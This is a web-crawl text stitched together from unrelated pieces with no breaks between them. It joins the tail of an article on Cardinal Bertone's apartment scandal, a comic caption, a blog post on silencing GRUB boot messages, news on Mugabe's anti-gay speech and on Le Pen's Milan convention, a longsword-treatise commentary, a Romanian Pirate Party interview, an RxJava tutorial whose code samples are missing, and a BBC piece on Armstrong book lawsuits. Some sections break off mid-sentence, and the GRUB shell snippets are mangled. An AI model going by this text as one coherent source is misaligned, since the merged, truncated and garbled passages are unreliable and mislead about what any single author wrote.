On 13 July 2017, the Tribunal of the Vatican City State charged Giuseppe Profiti, former president of the hospital, and Massimo Spina, its former treasurer, with illicitly using 422,000 euros belonging to the hospital's foundation to renovate the apartment.[40] Profiti said the monies were an investment that would enable the foundation to hold fundraising events at the property.[41] No charges have been filed against either Bertone, the Castelli Re construction company or its owner, Gianantonio Bandera, a longtime Bertone associate who pocketed nearly a quarter-million euros for the whole project.[42] After the trial's first hearing on 18 July, it was announced that the trial was adjourned until 7 September[43] and that court officials were open to the possibility that Bertone could be summoned as a witness when the trial resumes.[43]
On 7 September, the trial began and went into recess after one day when it was announced that new evidence emerged[44] and the defense and the prosecution requested more time to study a memorandum from Bambino Gesu Hospital’s current head given to the tribunal a day earlier emerged.[45] Dates were set for the court to be in session again on 19, 20, 21 and 22 September, first to hear from the defendants themselves, and then from roughly 7 projected witnesses, four called by prosecutors and three by the two defense teams[44] between 21 and 22 September.[45] No details have emerged on whether or not Bertone will testify.
On 19 September, Profiti testified that hospital funds were used for the renovation with the idea that Cardinal Bertone could host intimate dinners for eight to ten wealthy potential donors at a time at least six times a year,[46][47] though no meetings were ever reported to have been held in Bertone's apartment.[47] On 22 September, an official of the Government of the Vatican City State testified that the remodeling project for Bertone's apartment bypassed the normal competitive bidding process and was "singular " and "anomalous."[48] The same day, Spina testified that his immediate superior “told me there were no problems because Cardinal Bertone had clarified the situation with the Holy Father in person.”[49]
On 3 October 2017, Gianantonio Bandera, an Italian businessman whose now-bankrupt contracting firm renovated the apartment,[50] said that Bertone personally oversaw the renovation and contacted him directly without taking bids, as would ordinarily be required.[50]
The three-judge tribunal overseeing the trial later acquitted Spina and convicted Profiti of a lesser offense of abuse of office after the defense argued that the money was intended as an investment to benefit the hospital rather than Bertone's apartment.[51]
Vatican response to lavish lifestyle [ edit ]
On 15 February 2018, Pope Francis ordering Vatican officials and bishops to lead simple lives and renounce any desire for power after they retire from senior positions. A number of Vatican officials and bishops, including Bertone, had come under fire in recent years for holding on to luxuries, such as large apartments and in some cases even police escorts, after they leave office. Aside from the controversy surrounding his apartment, Bertone was also seen using escorts of Vatican and Italian police to move around Rome even after he retired.[52]
Retirement [ edit ]
Bertone's retirement as Secretary of State was announced on 31 August 2013 and became effective on 15 October. Pope Francis designated Pietro Parolin as his successor.[34]
A few weeks after Bertone turned 80, Pope Francis named Cardinal Jean-Louis Tauran to replace him as Camerlengo of the Holy Roman Church on 20 December 2014.[53]
In an interview in 2015 Bertone said that he was not surprised by the resignation of Pope Benedict: "I had guessed it, but put it out my thoughts. I knew long in advance, at least seven months before. And I had many doubts. We debated the topic at length after it seemed already decided. I told him: Holy Father, you must bestow upon us the third volume on Jesus of Nazareth and the encyclopedia of faith, before you sign things over to Pope Francis".[54]
Distinctions [ edit ]
In February 2010, President Lech Kaczyński of Poland conferred on the cardinal the country's highest decoration for foreign nationals, the Grand Cross of the Order of Merit of Poland, "for the lofty merits acquired in the development of the collaboration between the Republic of Poland and the Holy See and for the work carried out in favor of the Church in Poland."
Bertone also received the Gaudium et Spes Award at the Knights of Columbus Supreme Convention in 2007.[55]
Notes [ edit ]Whenever People Wear The Same Thing
One day I will actually call someone and coordinate outfits. Then when someone asks if we called each other to coordinate I will say, "yes, yes we did." But then they won't believe me and will walk away thinking I'm a sarcastic jerk. I'll spend the rest of the day trying to convince them that we really did call each other, but they won't want to hear it. They'll ask to transfer departments because they don't want to work with me and I'll be stuck working overtime until we fill the position. On second thought, it's just not worth it.
Alt-Text: There's only so many colors. I imagine the chances of wearing the same color shirt on the same day as someone else on the planet are quite high.Making GRUB quiet
While traveling, I have been asked a few times by security agents at airports to turn on my laptop, and well, show them it did work, and looked like a real computer.
Although they never searched the content and nothing bad ever happend, every time I cross the border or go through security I am worried about what might happen, especially given recent stories of people being searched and their laptops taken away for further inspection.
The fact I use full disk encryption does not help: if I was asked to boot, my choice would be to either enter the password and login, thus disclosing most of the content of the disk, or refuse and probably have my laptop taken away for further inspection.
So.. for the first time in 10 years, I decided to keep Windows on my personal laptop. Even more, leave it as the default operating system in GRUB, and well, not show up GRUB at all during boot.
Not because I think it is safer this way, but just to create as little pretexts or excuses for anyone to further poke at my laptop, in case I need to show it or they need to inspect it.
Getting grub out of the way was not as easy as it should have been, so this post is to document what I did.
Problems
First of all, here are the problems:
The Debian GRUB setup scripts create a menu entry in GRUB for each kernel you have installed, followed by other detected Operating Systems. This means that every time you install a new kernel, the entry number of other Operating Systems change (eg, Windows becomes the 3rd entry, or 4th entry,...). Given that the default Operating System is specified by entry number, if you want to default to windows, well, it doesn't play out well.
By default, GRUB will show a menu. If you disable that menu (relatively easy), it will still show a "Loading GRUB." message followed by "Welcome to GRUB!", something like: Loading GRUB. Welcome to GRUB! Turns out that those messages are not configurable, as they are printed before any config file can be read by GRUB. Ubuntu and a few other vendors have provided a patched version of GRUB, but I really don't want to go down that path: don't want to keep installing my own version of GRUB or patch and recompile for each new release.
So, here's what I did...
Fixing the order of the entries
There might be better ways to provide a default that is not an integer, the name of an entry, for example. However, I really wanted windows to show up first in GRUB.
To fix the order of the menu entries, I:
Opened /boot/grub/grub.cfg, and manually copied the entry for Windows I wanted to keep. In my case, the entry was: menuentry "Windows 7 (loader) (on /dev/sda2)" -- class windows -- class os { insmod part_msdos insmod ntfs set root ='( hd0, msdos2 )'search -- no - floppy -- fs - uuid -- set = root F646B41846B3D817 chainloader + 1 } Disabled automated discovery of operating systems. I don't care, I don't install new systems that often, and when I do, I'm well aware I have to update grub config. To do so, you need to: $ sudo - s # vim / etc / default / grub... GRUB_DISABLE_OS_PROBER = true eg, add GRUB_DISABLE_OS_PROBER=true to /etc/default/grub. In /etc/grub.d, added a script 06_windows like this: $ sudo - s # cd / etc / grub. d # cat > 06 _windows << EOF #!/ bin / sh exec tail - n + 3 $ 0 menuentry "Windows 7 (loader) (on /dev/sda2)" -- class windows -- class os { insmod part_msdos insmod ntfs set root ='( hd0, msdos2 )'search -- no - floppy -- fs - uuid -- set = root F646B41846B3D817 chainloader + 1 } EOF # chmod 0755. / 06 _windows Run update-grub to get the grub configuration updated for real. Checked the content of /boot/grub/grub.cfg manually, and reboot to verify. Windows should be the first entry now.
Disabling the boot menu
This was relatvely easy to do, just edit /etc/default/grub, make sure you have the following lines:
GRUB_DEFAULT = 0 GRUB_TIMEOUT = 0 GRUB_HIDDEN_TIMEOUT = 5 GRUB_HIDDEN_TIMEOUT_QUIET = true
The first line will tell grub to start Windows by default (the first boot entry), the second one tells grub to show the menu for 0 seconds by default, thus not showing it, the 3rd one will wait for 5 seconds for you to press a key before the menu, the last one will not show the counter going from 5 to 0 before showing the menu.
The only hiccup I had here was that most of the documents say you have to hold shift to get into the menu, but no, for me I had to press ESC, or any other key? I still need to try :).
Don't forget to run update-grub and reboot to test this out. You should see that despite the changes, you will still have a Loading GRUB. message, and a Welcome to GRUB!, although nothing else will show up before booting Windows.
Disabling the boot messages
So, how do you get rid of the annoying:
Loading GRUB. Welcome to GRUB!
? Most forums and online discussions will tell you to patch the GRUB source code and recompile. Those messages are printed out well before any config file can be loaded, and there are really not that many alternatives.
I really didn't want to patch, as I did not want to maintain a set of patched binaries for my own use on my own system (yes, I love keeping the system up to date! And I love playing with testing/unstable, which means frequent updates).
The idea was simple: if the messages are displayed, they must be stored somewhere. And if any equivalent of printf is used, I can replace the first character of each of those strings with a \0 to prevent them from showing up.
This is terribly terribly hacky. But 2 hours of work to find the right files and the right process gave me exactly what I wanted: a tool that modifies a few of the grub files to remove the messages, which works like a charm.
By adding a hook in /etc/initramfs-tools or /etc/grub.d, I can just run the tool every time grub configs are changed, without having to recompile and patch the source.
I've just uploaded some code to github if you want to try it. Read the README, but it should be really straightforward to get it rolling.
Again, don't expect too much, it's not clean and beautiful, it only works.
What next?
Most distributions used an entirely different path: patching GRUB to unconditionally disable those messages. As a user, I'd rather prefer to have the choice to disable those messages or not, especially given the fact that those messages can be useful for debugging.
Unsurprisingly, the GRUB maintainers refused those patches, which are now maintained separately by each distro that includes them.
Related to grub-shusher, I will need to update it every time bootstrap.S and a few other.S files change in GRUB. This doesn't happen often, but I am sure I will eventually grow tired of maintaining it.
It would still be great to have a real, supported, solution for configuration parameters that are needed before, well, a configuration file can be read and loaded.
Here are some proposals:Zimbabwean President Robert Mugabe looks on during his inauguration and swearing-in ceremony on August 22, 2013 at the 60,000-seater sports stadium in Harare. Photo by ALEXANDER JOE/AFP/Getty Images
Zimbabwean President Robert Mugabe was inaugurated for a seventh term today, and if you thought the 89-year-old leader would take the opportunity to reach out to the country’s opposition after another contentious election or present constructive ideas for the country’s ailing economy—a few months ago, the country’s public account stood at just $217—you don’t know Bob. Instead he took the time to address what he apparently sees as a far more pressing threat: homosexuals. South Africa’s Eyewitness News reports:
In the speech, Mugabe urged young people to “damn” homosexuality in the same way his government does and not to offend nature by engaging in same-sex relationships.
“That destroys nations, apart from it being a filthy, filthy disease,” he said.
Mugabe, never exactly gay-friendly, ramped up the rhetoric during the recent campaign, calling gays “worse than pigs, goats, and birds,” and criticizing President Obama’s support for gay rights, asking if he was “born out of homosexuality.”
According to a partial transcript from Zimbabwe’s Standard newspaper, Mugabe also congratulated the nation on “free and fair” elections and accused foreign nations of trying to discredit the country’s political system. “Today it is Britain, Australia, Canada, and America that want to tell us our elections were not fair and credible,” he said. “Who are they?” we ask. Who gave them the ability to see better than us?” (The opposition Movement for Democratic Change has also alleged widespread rigging.)
Around 30 current and former heads of state were in attendance. Interestingly, South African President Jacob Zuma decided to stay home.Translations:
First Actor – Myer’s German Translation
Zornhau Against the Thrust It happens that you stand with the Zornhaw (Wrath Strike) with the left foot forward. Then follow after with the right and hit him strongly from above to the left side. If he deflects this, then strike nimbly to the next opening.
This is just a basic opening strike with a Zornhau to the upper-left opening. Nothing is said about the timing, but presumably you wouldn’t do this against an opponent whose just resting in his guard waiting for you to attack.
The “next opening” can be pretty much anywhere. Most people expect a Zwerch to the right-side, so I like to follow up the Zornhau with a strike to the lower-left. But really you can’t plan for this, you have to just see what the person leaves open and go for it.
Second Actor’s Response
If he strikes you wrathfully like this, then wind against the Zornhaw in the Hanging Point and let your point properly go forward shooting in (Einschiessen) to the face or chest. If he perceives this thrust, then drive with the sword well up over your head, spring with your right foot to his left side and cut him with the Zwirchhaw (Across Strike) to the
head.
To understand this second we have to work backwards. First we need to figure out where that Zwerch is gong to land. For that we need to peek ahead at this line from the next paragraph,
If he strikes towards your head like this with the Zwirchhaw with crossed arms,
A Zwerch with crossed arms is a long-edge cut to the right side of the head.
To throw a left Zwerch, you probably want to use a left hanging guard.
Now the footwork is a little bit weird in this section. Even though you are throwing a left Zwerch, you step with the right foot. Experimentally we found that a step to the left exposes the second fencer to a number of attacks while a step to the right closes off those lines and constrains the first fencer’s sword.
Putting it all together we get,
The first fencer attacks with a Zornhau The second fencer parries with a left hanging guard The second fencer immediately thrusts The first fencer, seeing this thrust turns his body away from the point. Probably by stepping back with the right foot. The second fencer steps to the right while throwing a left Zwerch towards the head
But we’re not done yet. How do you parry with a hanging guard? There are two options here:
The first is to parry normally with the point up, probably in a pflug-like position. Then wind into the hanging guard and thrust or Zwerch as appropriate.
The second option is to wind into the hanging guard before the blades clash. This is done with a step to the left so that your hands are well past the arc of your opponent’s sword. Without the step you are liable to parry with your hands, which hurts a lot. Also remember to extend your arms, otherwise your parry will be weak and the Zornhau may still land.
I like the second option because the rest of the play flows without thought. As the blades clash, you thrust. If the thrust misses because your opponent pushed it off to the side, take that energy and use it for your Zwerch to the right ear.
First Actor’s Counter-Response
If he |
Cristian Bulumac: Eu aș spune că deja avem unul. Îndeplinirea unei formalități administrative nu înseamnă că un grup de oameni nu se poate asocia și numi cum vor. Iar în România există oameni care practică pirateria online. Ba mai mult, toți românii sunt așa. Deci, există un grup care vrea să participe activ la viața politică, să-și spună Partid Pirat și să acceadă la ce cred ei că este viața politică și din punct de vedere legal. Dar asta se face prin îndeplinirea unor formalități administrative excesive, care creează doar o falsă impresie de sistem democratic.
De ce spui că este pretins democratic?
În realitate este un fel de cetate bine zidită, cu porțile ferecate. Se așteaptă să mergem din patru în patru ani la alegeri, să votăm, să alegem dintr-o listă extrem de limitată și să fim mulțumiți că avem sistem democratic și reprezentativ. Din păcate nu e așa, alegeri existau și în Uniunea Sovietică, și în România de dinainte de 1989, există acum în China și în Iran. Nu este singurul criteriu după care judecăm dacă trăim într-o democrație sau nu. Există și libertatea individuală, libertatea de asociere, dreptul de a-ți spune părerea. Ori acest drept, timp de patru ani, este limitat la participarea în forma numită societate civilă.
Problema ar fi această lege restrictivă a partidelor politice? E foarte proastă, comparativ cu restul țărilor europene?
Legea a fost dată acum mulți ani, când populația cu drept de vot era mult mai mare, iar criteriul de 25 000 de semnături era bazat pe o apreciere subiectivă că un anumit procent din populația cu drept de vot ar fi în măsură să determine când este un partid bun de a fi înregistrat. Între timp, populația a scăzut, la fel și cea cu drept de vot, e clar că legea a devenit anacronică. Plus că, suntem țara cu cele mai grele condiții de asociere din Uniunea Europeană. În UE ai nevoie între trei și 500 de semnături – aceasta fiind cea mai răspândită cifră pentru a participa la viața politică. Și în Constituția României dreptul la asociere e garantat, dar în condițiile legii. Există tot timpul o portiță ca acest drept să nu fie realizat. Într-o sitiație similară cu a noastră era Rusia acum câțiva ani: 50 000 de semnături. După ce a ajuns Putin președinte, a redus numărul la 500, care pare a fi deja un standard acceptat la nivel mondial.
Rusia nefiind chiar cea mai democratică țară din lume...
Exact. Și totuși, dreptul de a te asocia și a încerca să participi la viața politică nu este împiedicat în marea majoritate a țărilor. S-ar putea să ai o problemă dacă vrei să faci un partid în China, dar hai să ne comparăm totuși cu exemplele de bune practici și cu cei care sunt parte a Uniunii Europene. Se presupune că atunci când aderi la UE aderi și la Carta europeană a drepturilor omului și că interpretarea dreptului de asociere este similară la nivelul Uniunii.
Sunt totuși câteva partide care s-au înființat în ultima perioadă.
Le înființează cei care se desprind din partidele clasice sau cei care au sprijinul unui mogul. Practic, avem două situații: banii și influența politică în cadrul unei caste închise. Eu nu pot să mă gândesc la niciun exemplu de outsider care nu se încadrează într-una dintre cele două categorii.
Voi ați renunțat să strângeți semnături și încercați să depuneți actele fără să respectați cadrul legal. Prin respingerea care va urma veți putea ataca mai departe această lege pe care o considerați incorectă.
Ca să continui comparația cu o cetate, noi știm că, dacă batem la poarta ei, nu ni se va deschide, dar începem să construim încet un berbec și sperăm că mai vin și alții lângă noi la împins și la lovit în ziduri până când cetatea va cădea. Important este să începem chestia asta. Și n-o facem pentru beneficiul nostru, al unei mișcări oarecare, ci ca să deschidem sistemul, să-l facem democratic pentru oricine ar vrea să se înregistreze.
Cum poate fi atacată legea la Curtea Constituțională?
Noi construim berbecul așa: depunem actele, ni se respinge înregistrarea, avem dreptul să contestăm, ceea ce se face în instanță. În cadrul contestației putem invoca o excepție de neconstituționalitate a diverselor articole sau a unei legi întregi. Și uite așa ajungi la Curtea Constituțională.
Crezi că veți avea succes?
Până acum s-au respins toate excepțiile de neconstituționalitate pe articolele care prevedeau un cuantum al semnăturilor. Mai încercăm. Lucrurile se schimbă în timp, interpretările se pot nuanța. Chiar dacă asta nu va avea succes, va fi un semnal suficient de puternic pentru clasa politică că ceva se schimbă. E un sistem muribund, iar noi încercăm să-i atragem atenția. Dacă nu se uită, îl împingem în prăpastie – nicio problemă.
Cine credeți că vă mai poate sprijini în acest demers?
Nu mă gândesc că ne-ar sprijini cineva. Noi tragem semnalul de alarmă și, dacă există suficient sprijin popular... Eu zic că ăia 60% care nu se duc la vot ar trebui să facă ceva. Ei nu se duc la vot pentru că nu se regăsesc în sistemul ăsta așa-zis democratic. Nu vor să simuleze democrația o dată la patru ani. Noi încercăm să le oferim o alternativă și nu una de a mai adăuga un nume pe listă, ci o alternativă de a participa, de a face ceva acum, care va avea efect în următorii zeci de ani.
Asta ar însemna că voi țintiți, practic, ca partid, alegerile de peste doi ani.
Dacă ar fi să țintim un obiectiv politic strict din punct de vedere al participării la alegeri, da.
Știu că, la început, la nivel global, Partidul Pirat lupta pentru drepturile utilizatorilor de Internet, pentru sharing, iar în celelalte probleme nu prea se băga. S-a schimbat ceva în viziunea asta?
Da. O mișcare care se declară politică evoluează în timp. Ceea ce noi sesizasem pe Internet – lipsa unor drepturi de utilizator – nu erau decât un simptom al unor probleme mult mai mari: lipsa democrației, încălcarea drepturilor omului, o economie bolnavă. Când partidele Pirat din lume au realizat că, de fapt, ceea ce propuneau ei – democrație, transparență, mai multe drepturi pe Internet – erau soluții universal valabile și pentru alte domenii, au coborât puțin de pe Internet...
Au ieșit în offline...
Au promovat aceste idei și în alte domenii. Primul Partid Pirat a fost înregistrat și a participat la alegeri în 2006, în Suedia. Au trecut șapte ani, cu rezultate, cu doi europarlamentari, cu membri în consilii locale și în parlamentele land-urilor din Germania. Deja gruparea se maturizează. S-a întâmplat foarte repede, pentru că permite participarea. Astăzi Partidele Pirat au în programele lor și alte lucruri decât Internet, patente și copyright, cele trei principii inițiale, pornite din Suedia.
Sunt probleme globale sau unele locale, în funcție de țară și de viața politică de acolo?
Primul impuls a fost să răspundă unor probleme locale. Dar, cel puțin la nivel european, a început deja să se coaguleze ideea de a se face un Partid Pirat european. Există legislație europeană care îți permite să înființezi un partid european îndeplinind o serie de criterii. Încercarea asta dus și la crearea unui program european sau măcar a unui set minim de idei pe care toate Partidele Pirat din Europa și le însușesc. Că ele pot fi completate și cu o serie de chestii specifice fiecărei țări, asta ține de fiecare.
Și nu puteți participa la alegerile europene ca Partid Pirat European?
Am fi putut participa dacă îndeplinea condițiile europene, care cer să ai în șapte țări partide înregistrate și care au obținut un reprezentat ales. Adică dacă am fi avut membrii în Parlamentele naționale din șapte țări, partidul se putea constitui și putea să participe la alegeri în toată Europa.
Deci e posibil ca voi să veniți în România, dacă legea rămâne așa, pe filieră europeană.
E foarte posibil și asta, dar atunci ne vom ciocni de o altă barieră. În România este greu și să participi la alegeri: îți trebuie 200 000 de semnături ca să participi ca partid la alegerile europene. Îți trebuie mii de semnături pentru alegerile generale, îți trebuie și o sumă de bani. Spunea cineva că depășește un milion de euro suma pe care trebuie să o depui ca garanție, ca să ai candidați în toate colegiile din România. Asta nu cumva e tot o barieră? Motivul invocat a fost costurile, dar eu nu cred că poți să justifici diminuarea dreptului la liberă exprimare punând bariere de participare în alegeri. În plus, costul major nu e tipărirea unui buletin de vot de 50 de pagini, ci transportul, organizarea secțiilor de vot etc., care sunt fixe până una alta.
Succes, Cristi.The leader of the Front National, Marine Le Pen, has told a convention of right-wing, populist parties in Milan that Europe’s ongoing migrant crisis is set to impoverish the continent.
Around a thousand people attended the convention which also hosted Italy’s Lega Nord (Northern League), the Dutch Freedom Party, the Austrian Freedom Party, and more.
In her opening remarks, Le Pen said the influx of migrants arriving on the continent would “impoverish European nations and kill their civility forever”, reports AP.
The meeting was hosted by the Europe of Nations and Freedom (ENF) group in the European Parliament. The group was finally able to form after years of Ms. Le Pen and her European allies struggling to meet the criteria of finding 7 member state Members of the European Parliament to join. She was finally tipped over the edge by the expulsion of the UK Independence Party’s Janice Atkinson MEP, who joined the group last year.
Dutch firebrand politician Geert Wilders was also at the meeting, along with Heinz-Christian Strache from the Austrian Freedom Party.
“We all agree that Europe and European culture and freedom are under threat today because of irresponsible mass immigration,” said Mr. Strache.
“The European Union and leaders of national governments have failed in a dramatic fashion and are leading Europe toward the abyss,” he added.
Hard left protesters gathered outside of the event, faces covered, launching fireworks at the venue.
“We are here to say that we want a Europe as normal, that another Europe is possible”, said the secretary of the Lega Nord, Matteo Salvini.
HE said that we must “recover sovereignty ” but not “make walls or barbed wire: I want my children to live in an open, welcoming and generous but with limits, rules and respect.”
He added that “if a leftist government like that of Sweden has decided to repatriate all the immigrants, it means that Schengen is dead.”I concluded my last post by summing up what we’ve seen so far and what we still need to understand about RxJava:
We now know what an asynchronous data stream is and we know that RxJava uses the Observer pattern to deliver these streams to everyone that’s interested. We still don’t know, however, what it means for a data stream to be “functionally transformed” nor do we know how RxJava allows us to represent anything as an asynchronous data stream that can be created and consumed on any thread. These are questions I’ll have to tackle in the second part of this written version of my upcoming RxJava talk.
In this post, I’ll fill in the missing gaps in our understanding of my initial statement of what RxJava allows us to do.
Recall that that initial statement was this:
Recall that a data-stream, as I’ve defined it, is just sequential data that has a well-defined termination point and a way of notifying processors of that data that an error has occurred. RxJava lets us create asynchronous data streams out of anything. This might sound confusing until we remember that we are already familiar with a pattern that allows us to make synchronous data streams out of anything: the iterator pattern.
The definition for an Iterator looks like this:
Notice that an Iterator fits the definition of a data-stream. Its ordered data that can be processed by calling next(). It has a well-defined stopping point: when hasNext() returns false. Finally, processors of an iterator’s data can also be notified if there was an error processing the data: the iterator can simply throw an exception.
You can make any class iterable as long as that class can supply an iterator with which to traverse its elements. This makes it possible to turn any class into a synchronous data stream. This is actually how the for-each syntax works in java. All Collection classes can return an iterator that’s used to sequentially traverse the data they contain.
This shouldn’t be surprising since the motivation for the iterator pattern according to the Gang of Four is to:
Provide a way to access elements of an aggregate object sequentially without exposing its underlying implementation. -GoF, Design Patterns
RxJava Observables can be created out of anything and remember that Observables are just asynchronous data streams. Because Observables are asynchronous data streams that can be created out of anything just as Iterators are synchronous datastreams that can be created out of (nearly) anything, the reactive x introduction refers to Observables as the “asynchronous/push dual to the synchronous/pull iterator.”
This will make more sense once we see what it looks like to create an Observable:
Here we’re creating an Observable that emits the data from a long-running operation performed by userFetcher.fetchUsers(). Once fetchUsers() returns with the Users, we call onNext() on the Subscriber that’s passed in to call() method. Recall that a Subscriber is just a consumer of asynchronous data, so by calling onNext(), we are passing the users we’ve fetched to the Subscriber. This call to onNext() as the asynchronous analog to the iterator’s next() method.
You’ll notice that there’s another call after onNext() : its the onComplete() call. This tells the Subscriber s that the asynchronous data stream has reached its end. This call is the asynchronous analogue of the iterator’s hasNext() method returning false.
Finally, note that if there’s an exception thrown by the method that fetches the users, we call onError(). This, of course, is the asynchronous analog of the iterator throwing an exception while processing synchronous data.
Alright, so hopefully at this point, we know what this means:
But we still don’t know this:
When I say “functional transformation,” I’m using “functional” in the same sense that its used when people talk about functional programming. Functional transformations are transformations of data that don’t rely on any data outside of the function that does the transformation and that don’t have any side effects. We perform transformations of data all the time, but those transformations might not count as functional.
If you’ve ever written a filter for an list adapter, you’ve probably had to do a transformation of the unfiltered data. Here’s what this looks like in the Android Source’s implementation of filtering for the ArrayAdapter class:
This transformation, however, is not entirely functional. Its true that this method is creating a new Array to hold the filtered values rather than modifying the array of original values. This makes performFiltering() semi-functional since it doesn’t modify data outside of the method. However, because this method relies on data from outside of the function, it fails to be an entirely functional transformation of the unfiltered values.
RxJava, on the other hand, does perform completely functional transformations of asynchronous data. Here’s what that looks like:
Here we’re creating an Observable out of an array. We then transform the data stream emitted by this Observable by calling filter() on the Observable created from the array. filter() takes a function that returns whether the items emitted by the source Observable should be included in the transformed data-stream. In this case, the function passed into filter() will return true for “Going Global with Google Play” and false for “Keynote,” so the former and not the latter will be emitted by the Observable returned by filter() and consumed by the Subscriber.
The filter call is a functional transformation because the original Observable that was created from the array is not modified and because the Func1 that performs the filtering operation does not operate on any data that exists outside of Func1.
These functional transformations are called “operators”, and their functional nature is what allows us to chain together multiple operators to shape the asynchronous data stream so that it can be conveniently consumed by a Subscriber. We’ll see what this chaining looks like later.
At this point, if I’ve done my job right, you should know that this means:
We still don’t know, however, how RxJava let’s us create and consume asynchronous data streams on any thread. This is accomplished through Schedulers and this is how Schedulers are applied to Observables and Subscribers.
The key lines here are the subscribeOn() and observeOn() lines. These lines take Schedulers that determine the threads on which asynchronous data is created and consumed, respectively. We pass a Scheduler to subscribeOn() that schedules the asynchronous data to be created on a background io thread and we pass a Scheduler to the observeOn() method that ensures that the asynchronous data is consumed on the main thread.
One quick thing to note here is that the AndroidSchedulers.mainThread() method is not actually a part of RxJava. Its a part of RxAndroid.
At this point, you should be in a pretty good position to understand all of my initial statement of what RxJava does:
And now that you understand what RxJava is, you can understand how its able to make quick work of a task like the one I described in the first post in this series. Recall that the task was to execute a query from a SearchView within an Actionbar only if that query consisted of three characters and only if there was at least a 100 millisecond delay before any additional characters were typed into the SearchView.
This functionality exists already in Google’s iosched app. Here is a reimplementation of that functionality using RxJava:
I’m only going to explain parts of this snippet, but if you want to check out the full source, you can do that here.
Note that there are several operators here that I didn’t mention before, namely, debouce() and map(). RxJava has a ton of operators, so be sure to check them all out. The debounce() operator is what allows us to only execute a search on a query only if there’s been a 100 millisecond delay after the last text change in the query string.
The filter() operator here is only used to make sure that there is a fragment available to display the data fetched from the search, but we could have easily added another filter() operator that would check the length of the query string.
The map() operators transform the data emitted by their source Observable. The first map() operator converts the query string into an intent created from that query string. The second map() operator converts that intent into a Bundle that can be used by the SessionsFragment to load the appropriate sessions (based on the original query string).
If I’ve done my job right, hopefully now you know what RxJava is and why its awesome! Feel free to point out anything that was unclear or inaccurate.Disgruntled purchasers of disgraced cyclist Lance Armstrong's autobiography are demanding a refund in the courts. Are they really entitled to their money back?
It wasn't about the bike, after all.
It was about the drugs, the lies and the remorseless smears levelled at anyone who dared stand up to Lance Armstrong.
The cyclist's televised confession that he cheated his way to seven Tour de France victories between 1999 and 2005 rendered his two autobiographies - It's Not About the Bike: My Journey Back to Life (2000) and sequel Every Second Counts (2003) - hollow and fraudulent.
The admission shattered the faith of millions, and now readers who bought into Armstrong's inspiring fabrications - about his fightback from cancer to sporting triumph through honest hard work - are seeking compensation.
Two Californians have filed a class-action lawsuit against the cyclist and his publishers Penguin and Random House - on behalf of themselves and other residents of California who bought the books - demanding refunds and other costs.
Media playback is unsupported on your device Media caption BBC 5 live spoke to a man who bought 7,000 Lance Armstrong DVDs
Political consultant Rob Stutzman and chef Jonathan Wheeler would not have spent money on the titles, according to their submission, had they known "the true facts concerning Armstrong's misconduct and his admitted involvement in a sports doping scandal that has led to his recent and ignominious public exposure".
In both books, Armstrong is emphatic that the drug charges against him are false.
"Our team had 'zero tolerance' for any form of doping," runs one passage in Every Second Counts. "It sounded like the usual cliched statement, but we meant it. We were absolutely innocent."
Wheeler and Stutzman, a former deputy chief of staff to California governor Arnold Schwarzenegger, were not the only ones taken in. It's Not About The Bike alone is reported to have sold more than a million copies.
In October 2012, however, a US Anti-Doping Agency report concluded that Armstrong had been a "serial cheat". And earlier this month the 41-year-old confessed to chat show host Oprah Winfrey that he had used performance-enhancing drugs to achieve each of his seven Tour de France victories.
Image copyright Getty Images
Soon afterwards, a spoof sign in Manly library in Sydney, Australia, promising to reshelve Armstrong's books in the fiction section, was greeted with widespread online approval when a photo of it was shared on social media.
It's no surprise that the response in the US extends beyond satirical pranks, to litigation.
Armstrong's titles are only the latest in a series of series of books which have faced legal action as a result of passages which turned out to be false.
Armstrong's Oprah admissions Image copyright Reuters He took performance-enhancing drugs in each of his Tour wins from 1999-2005
Doping was "part of the process required to win the Tour"
He did not feel he was cheating at the time and viewed it as a "level playing field"
He did not fear getting caught
"All the fault and blame" should lie with him
He was a bully who "turned on" people he disliked Armstrong says sorry for doping
In 2006, author James Frey was sued by readers and his publisher after admitting he had "embellished" his addiction recovery memoir A Million Little Pieces.
Frey and Random House agreed a payout of $2.35m (£1.49m). The publisher agreed to pay court fees, donate to charity and refund readers who purchased the book before news broke that it contained inaccuracies.
However, according to investigative journalism website The Smoking Gun, only 1,345 of the four million people who bought the memoir actually got round to asking for their money back ahead of the deadline.
A similar lawsuit filed in 2011 against author Greg Mortenson - which accused him of fabricating much of his book Three Cups of Tea, about a mission to build schools across Central Asia - was dismissed by a Montana judge.
Lawyers for Penguin have said the Armstrong case should be thrown out.
But according to Oliver Herzfeld, who specialises in intellectual property law as chief legal officer at brand licensing agency Beanstalk, the most likely scenario is that Penguin and Random House - not Armstrong himself - will settle out of court.
"I think they'd want to avoid any kind of legal precedent being set," he says.
Image copyright AP Image caption Millions took inspiration from Armstrong's fake achievements
In their legal submission, the plaintiffs say they suffered "monetary injury" and should be compensated.
"Although Stutzman does not buy or read many books, he found Armstrong's book incredibly compelling and recommended the book to several friends," it reads.
California's consumer protection laws are tight by American standards, Herzfeld says. But it's possible that buyers of the books in other US states, or in other countries, will watch the case closely, and consider launching their own lawsuits.
Not all those taken in by the Armstrong myth believe they are entitled to a refund, however.
Every narrator is unreliable Jamie Byng, Canongate books
A keen endurance mountain bike racer before he was struck by lymphoma, Richard Salisbury was inspired to return to the saddle after reading It's Not About The Bike during his recovery in 2002.
Essentially, he believes, readers of Armstrong's books got what they paid for - and reclaiming the autobiographies' cover price will not retrospectively make up for Armstrong's behaviour.
"The books did help a lot of people through a dark time," he adds.
"Someone gave me the book while I was in remission and it came at the right time. It inspired me to get back out there. You can't take that away."
Richard, a sports rehabilitation specialist in Manchester, who now looks back with bitterness at how "gullible" he must have seemed, believes Armstrong owes the plaintiffs a moral debt rather than a financial one.
"I can understand them taking action, but I don't think they've got anything to go on," he says.
Readers seeking to recoup the cost of a couple of paperbacks represent small beer compared to other organisations who have said they will pursue him:
The Sunday Times, which was forced into an out-of-court settlement in 2004 after Armstrong sued over articles questioning his integrity, is seeking around $1.5m (£945,000)
Dallas-based SCA Promotions, is looking to recover $12.5m (£7.8m) in bonus payments made to Armstrong for his Tour de France wins
The International Cycling Union wants back $4m (£2.5m) in prize money
Nonetheless, it is likely that the legal action will be watched closely by the publishing industry.
Previously in the Magazine What would you think if the sport could no longer say with any great certainty who had won the Premiership, or the World Cup? That is effectively what has happened in cycling. And as a dedicated fan, I can tell you that it feels like you have been betrayed. It is as if a good friend that you trusted and shared good times with turned out to be a big fat liar. Losing faith in your favourite sport
The potential ramifications are depressing, believes Jamie Byng, managing director of Canongate books - which famously published the "unauthorised autobiography" of Julian Assange after a dispute with the Wikileaks founder.
